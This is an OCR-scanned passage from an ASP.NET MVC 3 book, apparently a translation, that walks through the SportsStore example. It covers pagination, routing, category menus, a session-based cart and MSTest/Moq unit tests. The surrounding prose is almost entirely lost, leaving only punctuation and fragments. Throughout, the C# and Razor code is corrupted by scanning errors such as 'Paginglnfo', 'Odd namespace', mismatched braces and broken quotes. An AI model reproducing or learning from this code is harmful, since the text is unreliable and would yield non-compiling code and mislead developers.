t a g .AddCssClass ("selected");
result.A p p e n d (t a g .ToString());

)
return MvcHtmlString.Create(result.ToString());

}
}
}
P a g e L i n k s HTML-
, , Paginglnfo.
Func ,
, .

:
PageLinks,
HTML-.
Bnrf
[TestMethod]
public void Can_Generate_Page_Links() (
// - HTML -
// ,
HtmlHelper myHelper = null;
// - Paginglnfo
Paginglnfo paginglnfo = new Paginglnfo {
CurrentPage = 2,
Totalltems = 28,
ItemsPerPage = 10

);
// - -
Func<int, string> pageUrlDelegate = i => "Page" + i;
//
MvcHtmlString result = myHelper.PageLinks(paginglnfo, pageUrlDelegate);
//
A s s e r t .AreEqual (resuit.ToString(), 0 "<a href=""Pagel"">K/a>
<a class=""selected"" href=""Page2"">2</a><a href="""">3</a>");

)

, . C# .
@
( " " ) . ,
, , ,
. , , ,
- .
.

, ,
.
u sin g, Razor

172

I. ASP.NET MVC 3

W e b . c o n f i g @ u s i n g
. , R azo r M VC
W eb .config:
, Views.
V i e w s / W e b . c o n f i g , 7.18.

7.18. HTML-
V ie w s /W e b .c o n fig
< s y s t e m . w e b . w e b P a g e s .razor>
<h ost fa ct o r Ty pe =" S ys t e m . W e b . M v c . M v c W e b R a z o r H o s t F a c t o r y , System.Web.Mvc,
V e r s i o n = 3 .0.0.0, Culture=neutral, P u b l i c K e y T o k e n = 3 1 B F 3 8 5 6 A D 3 6 4 E 3 5 " />
<pages p a g e B a s e T y p e = " S y s t e m . W e b .M v c .W e b Vi ew Pa g e" >
< n a m e sp ac es >
O d d n a m e s p a c e = " S y s t e m . W e b . M v c " />
O d d n a m e s p a c e = " S y s t e m . W e b .M vc.Ajax" />
O d d n a m e s p a c e = " S y s t e m . W e b .M v c .Html" />
O d d n a m e s p a c e = " S y s t e m . W e b .Routing" />

O d d namespace="SportsStore.WebUI.HtmlHelpers"/>
</ n S m e s p a c e s >

,
Razor, ,
gusing.



HTML. P a g i n g l n f o .
V i e w D a t a Vi e wB ag ,
.
,
, .
P r o d u c t s L i s t V i e w M o d e l M o d e l s S p o r t s S t o r e .WebUI.
7.19.

7.19. P r o d u c ts L is tV ie w M o d e l
using S y s t e m . C o l l e c t i o n s .Generic;
using S p o r t s S t o r e .D o m a i n .Entities;
name sp a ce S p o r t s S t o r e . W e b U I . M o d e l s {
pu blic class P r o d u c t s L i s t V i e w M o d e l {
p u b l i c I En u m e r a b l e < P r o d u c t > Products { get; set;
p ub l i c P a g i ng ln f o Pa gi ng l nf o { get; set; }

)
L i s t P r o d u c t C o n t r o l l e r ,
P r o d u c t s L is t V ie w M o d e l
, , (.
7.20).

7. SportsStore:

173

7 .2 0 . L i s t
public ViewResult List(int page = 1) {
ProductsListViewModel viewModel = new ProductsListViewModel {
Products = repository.Products
.OrderBy(p => p.ProductlD)
.Skip((page - 1) * PageSize)
.Take(PageSize),
Paginglnfo = new Paginglnfo {
CurrentPage = page,
ItemsPerPage = PageSize,
Totalltems = repository.Products.Count

)
);
return View(viewModel);

ProductsListViewModel
.

:

,
. ,
.
[TestMethod]
public void Can_Send_Pagination_View_Model() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product {ProductlD = 1, Name = "PI"},
new Product {ProductlD = 2, Name = "P2"),
new Product {ProductlD = 3, Name = "P3"},
new Product {ProductlD = 4, Name = "P4"},
new Product {ProductlD = 5, Name = "P5"}
}.AsQueryable () ) ;
//
//
ProductController controller = new ProductController(mock.Object);
controller.PageSize = 3;
//
ProductsListViewModel result =
(ProductsListViewModel)controller.List(2).Model;
/,/
Paginglnfo pagelnfo = result.Paginglnfo;
Ass e r t .AreEqual(pagelnfo.CurrentPage, 2);
Ass e r t .AreEqual(pagelnfo.ItemsPerPage, 3) ;
Ass e r t .AreEqual(pagelnfo.Totalltems, 5) ;
Assert.AreEqual(pagelnfo.TotalPages, 2) ;

174

I. ASP.NET MVC 3

,
Can_Paginate. List,
ViewResult, Mod e l Product,
.
:
[TestMethod]
public void Can_Paginate() {
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] (
new Product (ProductID = 1, Name = "PI"),
new Product {ProductID = 2, Name = "P2"),
new Product {ProductID = 3, Name = "P3"},
new Product {ProductID = 4, Name = "P4"},
new Product {ProductID = 5, Name = "P5"}
) .AsQueryable () ) ;
//
ProductController controller = new ProductController(mock.Object);
controller.PageSize = 3;
//
ProductsListViewModel result =
(ProductsListViewModel)controller.L i s t (2).Model;
//
Product[] prodArray = result.Products.ToArray();
Asse r t .IsTrue(prodArray.Length == 2);
Assert.AreEqual(prodArray[0].Name, "P4") ;
Assert-AreEqual(prodArray[1].Name, "P5");
)
, ,
. ,
, , ,
.

Product,
L ist.c sh tm l , 7.21,
.

7.21. L i s t . c s h t m l
gmodel SportsStore.WebUI.Models.ProductsListViewModel
@{

ViewBag.Title = "Products";
)
@foreach (var p in Model.Products) {
<div class="item">
<h3>@p.Name</h3>
0 p .Description
<h4>@p.Price.ToString("c")</h4>
</div>

7. SportsStore:

175

0 m o d e l Razor ,
. f o r e a c h ,
P r o d u c t s .


L i s t .
, ,
, ,
@ m o d e l , .
HTML ,
7.22.

7,22. HTML
Smodel S p o r t s S t o r e . W e b U I . M o d e l s . P r o d u c t s L i s t V i e w M o d e l

@{
View Bag. T itle

= "Products";

)
Sforeach

(var p in M o d e l . P ro ducts)

<div c la s s = "ite m ">


< h 3> @ p . Nam e< /h3>
@p. Description
< h 4 > @ p .P r ic e . T o S t r i n g ("c ")< /h 4 >
< /div>

}
<div class="pager">
@Html.PageLinks(Model.Paginglnfo, x => Url.Action("List", new {page = x}))
</div>

, ,
(. 7.17). ,
. ,
, .

. 7 .1 7 .

176

I. ASP.NET MVC 3

G r id v ie w ?

ASP.NET, ,
.
, . Web Forms,
G r id v ie w
ASP.NET Web Forms, P r o d u c t s .
, , ,
G r id v ie w . -,
,
.
G r id v ie w ,
, ,
. -, ,
,
G r id v ie w Web Forms.
, , ,
, . ,
, , ,
,
.

URL
, -
, :
http://localhost/?page=2

, ,
URL. URL URL, ,
:
h t t p : / /lo c a lh o s t/P a g e 2

, MVC URL,
ASP.NET.
R e g is t e r R o u t e s G l o b a l . a s a x .c s ,
7.23.

7.23.
public

s ta tic void RegisterRoutes(R outeCollection

routes)

routes. IgnoreRoute( " ( resource} . a x d /{*p ath In fo )" ) ;


r o u t e s .M a p R o u t e (

null,
//
"Pa g e {p a g e }",
new { Controller = "Product", action = "List" }

);
routes.MapRoute(
"D e fau lt",

//

" { controller) / { actio n } / { i d } ",

//

URL

new

);
}

{ controller = "Product",

action = " L i s t " ,

id = U rlParam eter.Optional

7. SportsStore:

177

D e f a u lt .
11, , ,
, .
, ,
U R L . M VC Fram ew ork
, ,
, U r l . A c t i o n (
L i s t . c s h t m l ).
,
11. - ,
U R L (. 7.18).

. 7.18. URL,


,
,
. - CSS,
SportStore , .
.

! CSS .
CSS, Pro CSS and HTML Design
Patterns (Michael Bowers) (Apress, 2007) Beginning HTML with CSS and HTML
(David Schultz) (Craig Cook) (Apress, 2007).
,
, . 7.19.

. 7 .1 9 . SportsStore


R a zo r - A S P X .
,
, .
R azor 5.

178

I. ASP.NET MVC 3

L is t .c s h t m l P ro d u ct
Use a layout o r m aster page ( -), , , .
, _ L a y o u t.c s h tm l,
View s/Shared S p ortsS tore.W eb U I.
, 7.24.

7.24. Razor,
< ! DOCTYPE html>
<html>
<head>

< t it le > @ V ie w B a g .T it le < / t itle >


Clink href="0Url.Content("-/Content/Site.css")" rel="stylesheet"
type="text/css" />
<script src="@Url.C o n t e n t ("'/Scripts/jquery-1.4.4.min.js")"
type="text/ j avascript"X/script>
</head>
<body>
<div"id="header">
<div class="title">SPORTS STORE</div>
</div>
<div id="categories">
Will put something useful here later
</div>
<div id="content">

0RenderBody()
</div>
</body>
</html>

CSS
HTML-, 7.24,
ASP.NET MVC. . ,
, . ,
, CSS.
Visual Studio CSS- , .
S it e .c s s Content S p ortsS tore.W eb U I.
_Layou t .csh tm l , :
< lin k h re f= "@ U r l. C o n te n t("'/ C o n te n t/ S ite . c s s " ) " r e l= " s t y le s h e e t "
ty p e = "te x t/ c s s " />
. , CSS JavaScript 7.24
@ U rl.Content. ASPX,
Razor (~)
, .

S it e .c s s 7.25
( S it e .css).
. CSS
.

7. SportsStore:

179

7 .2 5 . CSS
BODY { font-family: Cambria, Georgia, "Times New Roman"; margin: 0; }
DIV#header DIV.title, DIV.item H3, DIV.item H4, DIV.pager A {
font: bold lem "Arial Narrow", "Franklin Gothic Medium", Arial;
}
DIVtheader { background-color: #444; border-bottom: 2px solid #111; color: White; }
DIV#header DIV.title { font-size: 2em; padding: .6em; }
DIV#content { border-left: 2px solid gray; margin-left: 9em; padding: lem; }
DIV#categories { float: left; width: 8em; padding: .3em; }
DIV.item { border-top: lpx dotted gray; padding-top: ,7em; margin-bottom: .7em; }
DIV. item:first-child ( border-top:none; padding-top: 0; }
DIV.item H3 { font-size: 1.3em; margin: 0 0 .25em 0; }
DIV.item H4 { font-size: 1.lem; margin:.4em 0 0 0; )
DIV.pager { text-align:right; border-top: 2px solid silver;
padding: .5em 0 0 0; margin-top: lem; )
DIV.pager A { font-size: l.lem; color: #666; text-decoration: none;
padding: 0 .4em 0 .4em; }
DIV.pager A:iover { background-color: Silver; }
DIV.pager A. selected { background-color: #353535; color: White; }
, ,
, . . 7.20.

. 7 .2 0 . SportStore


,
List.cshtml. ,
, .

, , ,
.
,
/Views/Shared SportsStore.WebUI
Add=>View (^).
ProductSummary. ,
Product Model class ( )
. Create as a partial view (
), . 7.21.

180

I. ASP.NET MVC 3

. 7.21.
Add () Visual Studio
V i e w s / S h a r e d / P r o d u c t S u m m a r y . c s h t m l .
,
HTML-, HTML-.
ProductSummary, ,
,
Product. , 7.26.
7.26. P rod u ctS u m m ary
@model SportsStore.Domain.Entities.Product
<div class="item">
<h3>0Model.Name</h3>
@Model.Description
<h4>@Model.Price.ToString("c")</h4>
</div>

Views/Products/List.cshtml ,
. 7.27.
7.27. L i s t . c s h t m l
Omodel SportsStore.WebUI.Models.ProductsListViewModel
@{

ViewBag.Title = "Products";
}
@foreach (var p in M o d e l .Products) {
H t m l .RenderPartial("ProductSummary", p) ;
}
<div class="pager">
@Html.PageLinks(Model.Paginglnfo, x => Url.Action("List", new {page = x}))
</div>

7. SportsStore:

181

, foreach
L i st.cshtml, .

Html . R e n d e r P a r t i a l .
.
. RenderPartial HTML-,
.
, #,
. HTML-
, .
, Html.Partial,
, RenderPartial, HTML-
: 0Html.Partial("ProductSummary", ).

, ,
, . ,
(. 7.22).
*

. 7 .2 2 .


SportsStore.
, , " "
,
SQL Server Entity Framework.
, ProductController,
, (D I)
URL.

,
. , ,
: ,
.

SportsStore:


SportsStore.

.
.
, MVC Framework.


SportsStore ,
.
.
List ProductController,
Product .
URL .
, ,
,
.


ProductsListViewModel.
,
, . 8.1
.

8.1. P r o d u c ts L is tV ie w M o d e l
using System.Collections.Generic;
using SportsStore.Domain.Entities;
namespace SportsStore.WebUI.Models (
public class ProductsListViewModel (
public IEnumerable<Product> Products { get; set; }
public Paginglnfo Paginglnfo { get; set; }
public string CurrentCategory { get; set; }

}
}

8. SportsStore:

183

ProductsListViewModel CurrentCategory.
ProductController,
List Product
,
. 8.2.

8.2. L i s t
public ViewResult L i s t (string category, int page = 1) {
ProductsListViewModel viewModel = new ProductsListViewModel {
Products = repository.Products
.Where(p => category == null | | p.Category == category)
.OrderBytp => p.ProductID)
.Skip((page - 1) * PageSize)
.Take(PageSize),
Paginglnfo = new Paginglnfo {
CurrentPage = page,
ItemsPerPage = PageSize,
Totalltems = repository.Products.Count ()

b
CurrentCategory = category

};
return View(viewModel);

}
.
category. ,
LIN Q category null, ,
Product, Category. , ,
CurrentCategory,
ProductsListViewModel.
Totalltems .

:
List,
. ,
null List ,
. , Can_Send_Pagination_View_Model
:
ProductsListViewModel result =
(ProductsListViewModel)controller.List(null, 2 ) .Model;
null Product,
, .

.

:
h t t p ://localhost:2 3081/?category=Soccer

Soccer (. 8.1).

184

I. ASP.NET MVC 3

. 8.1.

:
,
.
.
[TestMethod]
public void Can__Filter_Products () {
//
Mock<IProductRepository> mock = new Mock<IProductRepository> () ;
mock.Setup(m => m.Products).Returns(new Product[] {
new Product (ProductID = 1, Name = "PI", Category = "Catl"),
new Product (ProductID = 2, Name = "P2", Category = "Cat2"},
new Product (ProductID = 3, Name = "P3", Category = "Catl"},
new Product (ProductID = 4, Name = "P4", Category = "Cat2"},
new Product (ProductID = 5, Name = "P5", Category = "Cat3"}
}.AsQueryable());
//
//
ProductController controller = new ProductController(mock.Object);
controller.PageSize = 3;
//
Product!] result =
((ProductsListViewModel)controller.List("Cat2", 1).Model).Products.ToArray();
//
Asse r t .AreEqual(result.Length, 2) ;
Asse r t .IsTrue(result[0].Name == "P2" && result[0].Category == "Cat2");
Asse r t .IsTrue(result[1].Name == "P4" && result[1].Category == "Cat2");

}
, P r o d u c t ,
.
,
.

8. SportsStore:

185

URL
URL /?categor y=Soccer.
,
URL, ( ).
RegisterRoutes Global.asax,
8.3.

8.3. URL
public static void RegisterRoutes(RouteCollection routes)
routes.IgnoreRoute("{resource}.axd / {*pathInfo}");
routes.MapRoute(null,
// URL (.. /)
new {
controller = "Product", action = "List",
category = (string)null, page = 1

}
);
routes.MapRoute (null,
"Page{jfage)", // /Page2, /Pagel23, /PageXYZ
new { controller = "Product", action = "List", category = (string)null },
new { page = 0"\d+" ) // :

);
routes.MapRoute(null,
"{category}", // /Football /AnythingWithNoSlash
new { controller = "Product", action = "List", page = 1 }

);
routes.MapRoute(null,
"{category)/Page{page}", // /Football/Page567
new { controller = "Product", action = "List" }, //
new { page = @"\d+" } // :

)}
routes.MapRoute(null, " {controller}/ {action}");

! 8.3 .
, ,
.

. 8.1 URL, .
11.

8.1.
URL

/2

( 2),

/Soccer


( Soccer)

/Soccer/Page2

( 2)
(Soccer)

/Anything/Else

Else Anything

186

I. ASP.NET MVC 3

ASP.NET MVC
, URL,
-.
URL .
! 11 ,
.

U rl.Action
.
List.cshtml . ,
,
, 8.4.

8.4.
@model SportsStore.WebUI.Models.ProductsListViewModel

@{
ViewBag.Title = "Products";

}
@foreach (var p in M o d e l .Products) {
H t m l .RenderPartial("ProductSummary", p) ;

}
<div class="pager">
SHtml.PageLinks(Model.Paginglnfo, x => Url.Action("List",
new {page = x, category = Model .CurrentCategory)) )
</div>


ht t p ://<>:<>/2

,
, ,
. , ,
URL :
ht t p ://<>:<nopT>/Chess/Page2

,
List . URL
/Chess /Soccer
.


.
,
.
,
.
ASRNET MVC Framework ,
,

8. SportsStore:

187

.
HTML RenderAction,
.
( NavController) (
Menu),
.
,

.
,
MVC Framework.


Controllers SportsStore .WebUI
A d d ^ C o n tr o lle r (1^ ).
N a v C o n t r o l l e r ,
T e m p la te ( ) E m p ty c o n tro lle r ( )
A d d () .
Index, Visual Studio ,
Menu, 8.5.

8.5. Menu
using System.Web.Mvc;
namespace SportsStore.WebUI.Controllers {
public class NavController : Controller (
public string Menu() {
return "Hello from NavController";

}
}

,
. ,
,
.
Views/Shared/_Layout.cshtml,
RenderAction, 8.6.

8.6. R e n d e r A c tio n Razor


<!DOCTYPE html>
<html>
<head>
<title>@ViewBag.Title</title>
clink href="@Url.Content("~/Content/Site.css")" rel="stylesheet"
type="text/css" />

<s c r ip t s rc = "@ U rl.C o n te n t( " '/ S c r ip t s / jq u e r y - 1 .4 . 4 .m in. j s " ) " ty p e = "te x t/


ja v a s c r ip t "> < / s c r ip t >
</head>
<body>
<div id="header">

188

I. ASP.NET MVC 3

<div class="title">SPORTS STORE</div>


</div>
<div id="categories">
0{ H t m l .RenderAction("Menu", "Nav"); }
</div>
<div id="content">
@RenderBody ()
</div>
</body>
</html>
, 7, RenderAction.
(Menu)
(Nav).
! RenderActioh ,
RenderPartial, 7. , void ,
, Razor- @.
Razor (
). - ,
Action.
, , Menu
(. 8.2).

. 8 .2 . Menu


.
U R L ,
. ,
Menu , 8.7.

8.7. Menu
using
using
using
using
using

System.Collections.Generic;
System.Linq;
System.Web.Mvc;
SportsStore.Domain.Abstract;
SportsStore.WebUI.Models;

namespace SportsStore.W e b U I .Controllers {


public class NavController : Controller (
private IProductRepository repository;

8. SportsStore:

189

public NavControiler(IProductRepository repo) {


repository = repo;

}
public PartialViewResult Menu () {
IEnumerable<string> categories = repository.Products
.Select(x => x.Category)
.Distinct()
.OrderBy(x => x) ;
return PartialView(categories);

)
}

Menu . LINQ
.

:
.
,
. ,
, N a v C o n t r o ile r
, . .
[TestMethod]
public void Can_Create_Categories() (
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product (ProductID = 1, Name = "PI", Category = "Apples"},
new Product (ProductID = 2, Name = "P2", Category = "Apples"},
new Product {ProductID = 3, Name = "P3", Category = "Plums"},
new Product (ProductID = 4, Name = "P4", Category = "Oranges"},
}.AsQueryable ());
//
NavControiler target = new NavControiler(mock.Object);
//

string[] results = ((IEnumerable<string>)target.Menu().Model).ToArray();
//
A ss e r t .AreEqual(results.Length, 3) ;
A ss e r t .AreEqual(results [0], "Apples");
Assert.AreEqual(results[1], "Oranges");
Assert.AreEqual(results[2], "Plums");

}
,
, . ,
.

190

I. ASP.NET MVC 3


,
.
M e n u N a v C o n t r o l l e r Add View
( ).
M e n u , Create a stronglytyped view ( )
I E n u m e r a b l e < s t r i n g > , . 8.3.
Menu

. 8 . 3 . M e n u

Create as a partial view ( ).


Add (), .
, 8.8.

8.8. Menu
@m odel

IE n u m e rab le< strin g >

@{

Layout

= n ull;

S H t m l .A c t i o n L i n k ("H o m e ",

"L is t ",

Sforeach (var link in Model)


@ H t m l .R o u t e L i n k (l i n k ,
co ntro ller
a ctio n

= "P r o d u c t ",

= "L is t ",

category = lin k ,
page = 1

})
)

new

"P r o d u c t ")

8. SportsStore:

191

,
,
.
ActionLink, HTML-
.

RouteLink. ActionLink,
/, URL
. , ,
11.
,
CSS, .
, 8.9, Content / S i t e . c s s
SportsStore.WebUI.

8.9. CSS
DIV#categories

(
font: bold-1.lem "Arial Narrow","Franklin Gothic Medium",Arial; display: block;
text-decoration: none; padding: .6em; color: Black;
border-bottom: lpx solid silver;

)
DIV#categories A.selected ( background-color: #666; color: White;
DIV#categories A:hover ( background-color: #CCC; }
DIV#categories A. selected:hover { background-color: #666; }

, , . 8.4.
- , ,
.

. 8 .4 .


,
. ,
, .

192

I. ASP.NET MVC 3

,
, ,
. ViewBag,
5.
. ,
Menu, 8.10 .

8.10. V iew B ag
public ViewResult Menu(string category = null)

V i e w B a g .SelectedCategory = category;
IEnumerable<string> categories = repository.Products
.Select(x => x.Category)
.Distinct ()
.OrderBy(x => x) ;
return View(categories);

}
Menu category.
.
SelectedCategory ViewBag
. 5 ,
ViewBag , ,
.

:
Menu
, ViewBag,
ViewResult. .
[TestMethod]
public void Indicates_Selected_Category() (
// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
mock.Setup(m => m.Products).Returns(new Product[] {
new Product (ProductID = 1, Name = "PI", Category = "Apples"},
new Product (ProductID = 4, Name = "P2", Category = "Oranges"},

} . A sQ u eryable( ) ) ;
//
NavControiler target = new NavControiler(mock.Object);
//
string categoryToSelect = "Apples";
//
string result = target.Menu(categoryToSelect).ViewBag.SelectedCategory;
//
A s s e r t .AreEqual(categoryToSelect, result);

}
, ViewBag.
ViewBag ViewData,

8. SportsStore:

193

, , ,
CSS HTML- ,
.
Menu.cshtml 8.11.

8.11.
@model IEnumerabIe<string>

0{
Layout = null;
SHtml.ActionLink("Home", "List", "Product")
@foreach (var link in Model) {
0Html.RouteLink(link,
new (
controller = "Product",
action = "List",
category = link,
page.= 1

),
new {
@class = link == V i e w B a g .SelectedCategory ? "selected" : null

}
)
RouteLink,
, HTML-
. , , CSS selected.

! Sclass ,
RouteLink.
Razor. #,
class HTML ( CSS ) C#
( ). @
.
class ( @), , #.
@ ,
class, , .

,
(. 8.5).


, ,
, - .
,
. ,
2 Chess ,
.
. 8.6.
7 . 4039

194

I. ASP.NET MVC 3

. 8.6. ,
-

, L i s t P ro d u c t
C o n tr o lle r , .
8.12.

8.12.
public ViewResult List(string category, int page = 1) (
ProductsListViewModel viewModel = new ProductsListViewModel (
Products = repository.Products
.Where (p => category == null ? true : p.Category == category)
,OrderBy(p => p.ProductID)
.Skip((page - 1) * PageSize)
.Take(PageSize),
Paginglnfo = new Paginglnfo {
CurrentPage = page,
ItemsPerPage = PageSize,
Totalltems = category == null ?
repository.Products.C o u n t () :
repository.Products.Where(e => e.Category == category).Count()
CurrentCategory = category

};
return View(viewModel);

8. SportsStore:

195


, .

:

,
List,
. , List,
, .
.
[TestMethod]

public void Generate_Category_Specific_Product_Count {


// -
Mock<IProductRepository> mock = new Mock<IProductRepository>();
m o c k .Setup(m => m.Products).Returns(new Product[] (
new Product {ProductlD = 1, Name = "PI", Category = "Catl"),
new Product {ProductlD = 2, Name = "P2", Category = "Cat2"},
new Product {ProductlD = 3, Name = "P3", Category = "Catl"},
new Product {ProductlD = 4, Name = "P4", Category = "Cat2"},
new Product {ProductlD = 5, Name = "P5", Category = "Cat3")
}.AsQueryable());
//
//
ProductController target = new ProductController(mock.Object);
target.PageSize = 3;
//
int resl =
((ProductsListViewModel)target.List("Catl").Model).Paginglnfo.Totalltems;
int res2 =
((ProductsListViewModel)target.L i s t ("Cat2 " ) .Model).Paginglnfo.Totalltems;
int res3 =
((ProductsListViewModel)target.L i s t ("Cat3").Model).Paginglnfo.Totallterns;
int resAll =
((ProductsListViewModel)target.List(null).Model).Paginglnfo.Totalltems;
//
Assert.AreEqual(resl, 2);
Assert.AreEqual(res2, 2);
Ass e r t .AreEqual (res3, 1);
Assert.AreEqual(resAll, 5);

}

, . 8.7.


,
, .
, . 8.8. ,
- .

196

I. ASP.NET MVC 3

. 8.7.

. 8.8.

. ,
, .
,
.


,
.
Cart E n titie s SportsStore.Domain. 8.13
.

8.13.
using System.Collections.Generic;
using System.Linq;
namespace SportsStore.Domain.Entities {
public class Cart {
private List<CartLine> lineCollection = new List<CartLine> () ;
public void Addltem(Product product, int quantity) {
CartLine line = lineCollection
.Where(p => p .Product.ProductID == product.ProductID)
.FirstOrDefault ();

8. SportsStore:

197

if (line == null) {
lineCollection.Add(new CartLine {
Product = product, Quantity = quantity }) ;
} else {
line.Quantity += quantity;

}
}
public void RemoveLine(Product product) {
lineCollection.RemoveAll(1 => 1.Product.ProductlD == product.ProductlD);

}
public decimal ComputeTotalValue () (
return lineCollection.Sum (e => e .Product.Price * e.Quantity);

}
public void Clear () {
lineCollection.Clear();

}
public IEnumerable<CartLine> Lines {
get { return lineCollection; )

}
}
public class CartLine (
public Product Product ( get; set; }
public int Quantity { get; set; }

Cart CartLine,
, , .
,
,
. ,
IEnumerble<CartLine>.
C# LINQ.

:
Cart , ,
.
SportsStore. .
.
Product CartLine.
.
[TestMethod]
public void Can_Add N ew_Lines() {
//
Product pi = new Product { ProductlD = 1, Name = "PI" };
Product p2 = new Product { ProductlD = 2, Name = "P2" };
//
Cart target = new Cart();
//

t a r g e t.A d d lt e m (p l, 1) ;
ta rg e t.A d d lte m (p 2 , 1 );

198

I. ASP.NET MVC 3
CartLine[] results = target.Lines.ToArray();
//
Ass e r t .AreEqual(results.Length, 2);
Assert.AreEqual (results[0].Product, p i ) ;
Assert.AreEqual(results[1].Product, p 2 ) ;

}
Product ,
CartLine, .
.
[TestMethod]
public void Can_Add_Quantity_For_Existing_Lines() {
//
Product pi = new Product ( ProductID = 1, Name = "PI" };
Product p2 = new Product { ProductID = 2, Name = "P2" };
//
Cart target = new Cart() ;
//
target.Addltem(pi,
target.Addltem(p2,
target.Addltem(pi,
CartLine[] results =

1) ;
1);
10);
target.Lines.OrderBy (c => c.Product.ProductID).ToArray();

//
Assert.AreEqual(results.Length, 2) ;
Assert.AreEqual(results[0].Quantity, 11);
Assert.AreEqual(results[1].Quantity, 1) ;

)
,
. RemoveLine.
.
[TestMethod]
public void Can_Remove_Line() {
//
Product pi = new
Product p2 = new
Product p3 = new


Product { ProductID
Product { ProductID
Product { ProductID

= 1, Name
= 2, Name
= 3, Name

= "PI" };
= "P2" };
= "P3" };

//
Cart target = new C a r t O ;
//
target.Addltem(pi, 1);
target.Addltem(2, 3);
target.Addltem(, 5);
target.Addltem(p2, 1);
//
target.RemoveLine(p2);
//
A s s e r t .AreEqual(target.Lines.Where( => .Product == p2).Count(), 0);
A s s e r t .AreEqual(target.Lines.Count(), 2) ;

)

. .

8. SportsStore:

199

[TestMethod]
public void Calculate_Cart_Total () {
//
Product pi = new Product ( ProductID = 1, Name = "PI", Price = 100M};
Product p2 = new Product { ProductID = 2, Name = "P2" , Price = 50M};
//
Cart target = new Cart();
//
target.Addltem(pi, 1);
target.Addltem(p2, 1);
target.Addltem(pi, 3);
decimal result = t ar g e t .ComputeTotalValue();
//
Assert.AreEqual(result, 450M);

}
. ,
. .
[TestMethod]
public void Can_Clear__Contents () {
//
Product pi = new Product { ProductID = 1, Name = "PI", Price = 100M };
Product p2 = new Product ( ProductID = 2, Name = "P2", Price = 50M };
//
Cart target = new Cart();
//
target.Addltem(pi, 1);
target.Addltem(p2, 1);
//
target.Clear ();
//
Assert.AreEqual(target.Lines.C o u n t (), 0);

}
, ,
, . ,
. , ,
, Cart SportsStore, .


V i e w s / S h a r e d / P r o d u c t
Summary.cshtml, .

8.14.

8.14.
@model SportsStore.Domain.Entities.Product
<div class="item">
<h3>0Model.Name</h3>
@Model.Description

200

I. ASP.NET MVC 3

@ using(H tm l.B egin Form ("A ddToC art", " C a r t " )) {


@Html.H iddenFor (x => x. ProductlD )
0Html. H idden( " r e t u r n U r l" , R e q u e s t.U r l. PathAndQuery)
Cinput type="su b m it" va lu e= "+ Add to c a r t " />
}
<h4>@ M odel.Price. T o S trin g ( " c " ) </h4>
</div>
Razor, HTML-
. AddToCart
C a rt ( ).
! BeginForm ,
HTTP- POST. , GET,
. HTTP , GET

, .
9, , ,
get.


, C on ten t/ S ite.css
CSS, 8.15.

8.15.
FORM { margin: 0; padding: 0; )

D IV.item FORM { f l o a t : r i g h t ;

D I V .item INPUT {

color-.W hite; b a ck g ro u n d -colo r: #333; bord er: lp x s o l i d b la ck ; cursor :p o in te r;


)

HTML-
Html.BeginForm ,
A d d t o c a r t ( ) HTML-
form. , ASP.NET
Web Forms, . ASP.NET MVC
, ,
.
.
,
, .


Add to cart .
C a r tC o n t r o lle r
8.16.

8. SportsStore:

201

8.16,
using
using
using
using

System.Linq;
System.Web.Mvc;
SportsStore.Domain.Abstract;
SportsStore.Domain.Entities;

namespace SportsStore.W e b U I .Controllers {


public class CartController : Controller {
private IProductRepository repository;
public CartController(IProductRepository repo)
repository = repo;

)
public RedirectToRouteResult AddToCart(int productld, string returnUrl)
Product product = repository.Products
.FirstOrDefault (p => p.ProductID == productld);

if (product != null) {
GetCart () .Addltem(product, 1);

1
return*RedirectToAction("Index", new { returnUrl });

J
public RedirectToRouteResult RemoveFromCart(int productld, string returnUrl) {
Product product = repository.Products
.FirstOrDefault (p => p.ProductID == productld);
if (product != null) (
G e t C a r t ().RemoveLine(product);

)
return RedirectToAction("Index", new ( returnUrl });

}
private Cart GetCart () (
Cart cart = (Cart)Session["Cart"];
if (cart == null) {
cart = new Cart();
Session["Cart"] = cart;

}
return cart;

}
)
.
Cart ASP.NET.
GetCart. ASP.NET
, - URL
,
. ,
. Cart. ,
,
. , ,
( - ,
), ,
Cart . ,
Session, :

202

I. ASP.NET MVC 3

Session["Cart"] = cart;

:
Cart cart = (Cart)Session["Cart"];

. ASP.NET,
, SQL.

A d d T o C a r t Re m o v e F r o m C a r t ,
input HTML-,
ProductSummary.cshtml. MVC Framework
POST ,
.


Cart , AddToCart
RemoveFromCart RedirectToAction.
HTTP- ,
URL. URL,
Index Cart.
Index
Cart. . 8.8, ,
,
(Add to ca rt).

, ,
: Cart URL ,
Continue shopping ( ).
.
CartlndexViewModel Models SportsStore.WebUI.
8.17.

8.17. C a r tln d e x V ie w M o d e l
using SportsStore.Domain.Entities;
namespace SportsStore.WebUI.Models (
public class CartlndexViewModel (
public Cart Cart ( get; set; }
public string ReturnUrl { get; set; }

, Index
Cart, 8.18.

8.18. In d e x
public ViewResult Index(string returnUrl)
return View(new CartlndexViewModel (
Cart = GetCart (),
ReturnUrl = returnUrl

});

8. SportsStore:

203


. Index
A dd V ie w ( ).
Index, C re a te a s tro n g ly -ty p e d v ie w (
) CartlndexViewModel ,
. 8.9.

. 8 .9 . Index


, , Use a la y o u t o r m a s te r
p a g e ( -) ,
,
_L a yo u t.csh tm l. Add ()
8.19.

8.19. In d e x
Imodel SportsStore.W e b U I .Mod e l s .CartlndexViewModel
5{
ViewBag.Title = "Sports Store: Your Cart";

1
<h2>Your cart</h2>
<table width="90%" align="center">
<theadxtr>
<th align="center">Quantity</th>
<th align="left">Item</th>
<th align="right">Price</th>
<th align="right">Subtotal</th>
</ t r x / t h e a d >
<tbody>
@foreach(var line in Mo d e l .C a r t .Lines) {
<tr>
<td align="center">@line.Quantity</td>

204

I. ASP.NET MVC 3
<td align="left">@line.Product.Name</td>
<td align="right">@line.Product.Price.ToString("c")</td>
<td align="right">@
( (line.Quantity * line.Product.Price).ToSt r i n g ("c"))</td>
< /1 r >

1
</tbody>
<tfootxtr>
<td colspan="3" align="right">Total:</td>
<td align="right">
@Model.C a r t .ComputeTotalvalue().ToString("c")
</td>
</tr></tfoot>
</table>
<p align="center" class="actionButtons">
<a href="@Model.ReturnUrl">Continue shopping</a>
</p>

, .
HTML-,
. , ,
CSS. , 8.20,
Site.css.

8.20. CSS
